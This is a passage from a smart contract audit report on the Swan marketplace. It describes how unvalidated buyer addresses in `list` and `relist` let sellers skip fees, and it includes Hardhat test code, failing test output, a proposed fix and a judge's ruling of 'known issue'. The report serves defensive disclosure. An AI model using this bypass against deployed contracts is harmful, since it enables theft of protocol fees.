    .withArgs(Phase.Withdraw, Phase.Sell);
    });
    });
    ​
    describe("Manager actions", () => {
    it("should set market parameters", async function () {
    const NEW_MARKET_PARAMETERS = {
    withdrawInterval: minutes(10),
    sellInterval: minutes(20),
    buyInterval: minutes(30),
    platformFee: 2n,
    maxAssetCount: 2n,
    timestamp: (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint,
    };
    ​
    await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
    ​
    const newMarketParams = await swan.getCurrentMarketParameters();
    expect(newMarketParams.withdrawInterval).to.equal(NEW_MARKET_PARAMETERS.withdrawInterval);
    expect(newMarketParams.sellInterval).to.equal(NEW_MARKET_PARAMETERS.sellInterval);
    expect(newMarketParams.buyInterval).to.equal(NEW_MARKET_PARAMETERS.buyInterval);
    expect(newMarketParams.platformFee).to.equal(NEW_MARKET_PARAMETERS.platformFee);
    expect(newMarketParams.maxAssetCount).to.equal(NEW_MARKET_PARAMETERS.maxAssetCount);
    });
    ​
    it("should set oracle parameters", async function () {
    const NEW_ORACLE_PARAMETERS = {
    difficulty: 2,
    numGenerations: 3,
    numValidations: 5,
    };
    await swan.connect(dria).setOracleParameters(NEW_ORACLE_PARAMETERS);
    ​
    const oracleParameters = await swan.getOracleParameters();
    expect(oracleParameters.difficulty).to.equal(NEW_ORACLE_PARAMETERS.difficulty);
    expect(oracleParameters.numGenerations).to.equal(NEW_ORACLE_PARAMETERS.numGenerations);
    expect(oracleParameters.numValidations).to.equal(NEW_ORACLE_PARAMETERS.numValidations);
    });
    });
    });
    ​

  3. Run yarn test

The tests failed with the following error:

2) Swan
Sell phase #1: listing
should list 5 assets for the first round:
​
AssertionError: expected 83100000000000000 to equal 300000000000000.
+ expected - actual
​
- -83100000000000000
+ +300000000000000
​

The seller did not pay any fees to the buyer and the protocol did not validate if the BuyerAgent was valid one (in the test we can see that we did not use the createBuyer function to create the buyer, but instead just deployed random contract).

This is just one example of how this can be exploited, but there may be many more ways to do so using this approach.

Impact

In the following report the impact are lost fees, but there may be more dangerous things that can happen.

Tools Used

Manual review, hardhat

Recommendations

First recommendation is to check if the BuyerAgent was created through the function createBuyer. For example you can create mapping of all created agents created by the function:

  1. Add the storage variable in the Swan contract:

    // Mapping to store all created agents from the Swan contract
    mapping(address agentAddress => BuyerAgent agent) public s_agents;

  2. In createBuyeradd the newly created agent to the mappin

    /// @notice Creates a new buyer agent.
    /// @dev Emits a `BuyerCreated` event.
    /// @return address of the new buyer agent.
    function createBuyer(
    string calldata _name,
    string calldata _description,
    uint96 _feeRoyalty,
    uint256 _amountPerRound
    ) external returns (BuyerAgent) {
    BuyerAgent agent = buyerAgentFactory.deploy(_name, _description, _feeRoyalty, _amountPerRound, msg.sender);
    ​
    + // Add the new agent to the map of all created agents
    + s_agents[address(agent)] = agent;
    emit BuyerCreated(msg.sender, address(agent));
    ​
    return agent;
    }

  3. In functions listand relistcheck if the _buyeraddress is in the mapping s_agents

/// @notice Creates a new Asset.
/// @param _name name of the token.
/// @param _symbol symbol of the token.
/// @param _desc description of the token.
/// @param _price price of the token.
/// @param _buyer address of the buyer.
function list(
string calldata _name,
string calldata _symbol,
bytes calldata _desc,
uint256 _price,
address _buyer
) external {
+ BuyerAgent buyer = s_agents[_buyer];
+ // This is enough for validating, but you can add custom errors here if you want
- BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase, ) = buyer.getRoundPhase();
​
// buyer must be in the sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
// asset count must not exceed `maxAssetCount`
if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
​
// all is well, create the asset & its listing
address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
listings[asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
​
// add this to list of listings for the buyer for this round
assetsPerBuyerRound[_buyer][round].push(asset);
​
// transfer royalties
transferRoyalties(listings[asset]);
​
emit AssetListed(msg.sender, asset, _price);
}
/// @notice Relist the asset for another round and/or another buyer and/or another price.
/// @param _asset address of the asset.
/// @param _buyer new buyerAgent for the asset.
/// @param _price new price of the token.
function relist(address _asset, address _buyer, uint256 _price) external {
AssetListing storage asset = listings[_asset];
​
// only the seller can relist the asset
if (asset.seller != msg.sender) {
revert Unauthorized(msg.sender);
}
​
// asset must be listed
if (asset.status != AssetStatus.Listed) {
revert InvalidStatus(asset.status, AssetStatus.Listed);
}
​
// relist can only happen after the round of its listing has ended
// we check this via the old buyer, that is the existing asset.buyer
//
// note that asset is unlisted here, but is not bought at all
//
// perhaps it suffices to check `==` here, since buyer round
// is changed incrementially
(uint256 oldRound, , ) = BuyerAgent(asset.buyer).getRoundPhase();
if (oldRound <= asset.round) {
revert RoundNotFinished(_asset, asset.round);
}
​
// now we move on to the new buyer
+ BuyerAgent buyer = s_agents[_buyer];
+ // This is enough for validating, but you can add custom errors here if you want
- BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase, ) = buyer.getRoundPhase();
​
// buyer must be in sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
​
// buyer must not have more than `maxAssetCount` many assets
uint256 count = assetsPerBuyerRound[_buyer][round].length;
if (count >= getCurrentMarketParameters().maxAssetCount) {
revert AssetLimitExceeded(count);
}
​
// create listing
listings[_asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
​
// add this to list of listings for the buyer for this round
assetsPerBuyerRound[_buyer][round].push(_asset);
​
// transfer royalties
transferRoyalties(listings[_asset]);
​
emit AssetRelisted(msg.sender, _buyer, _asset, _price);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.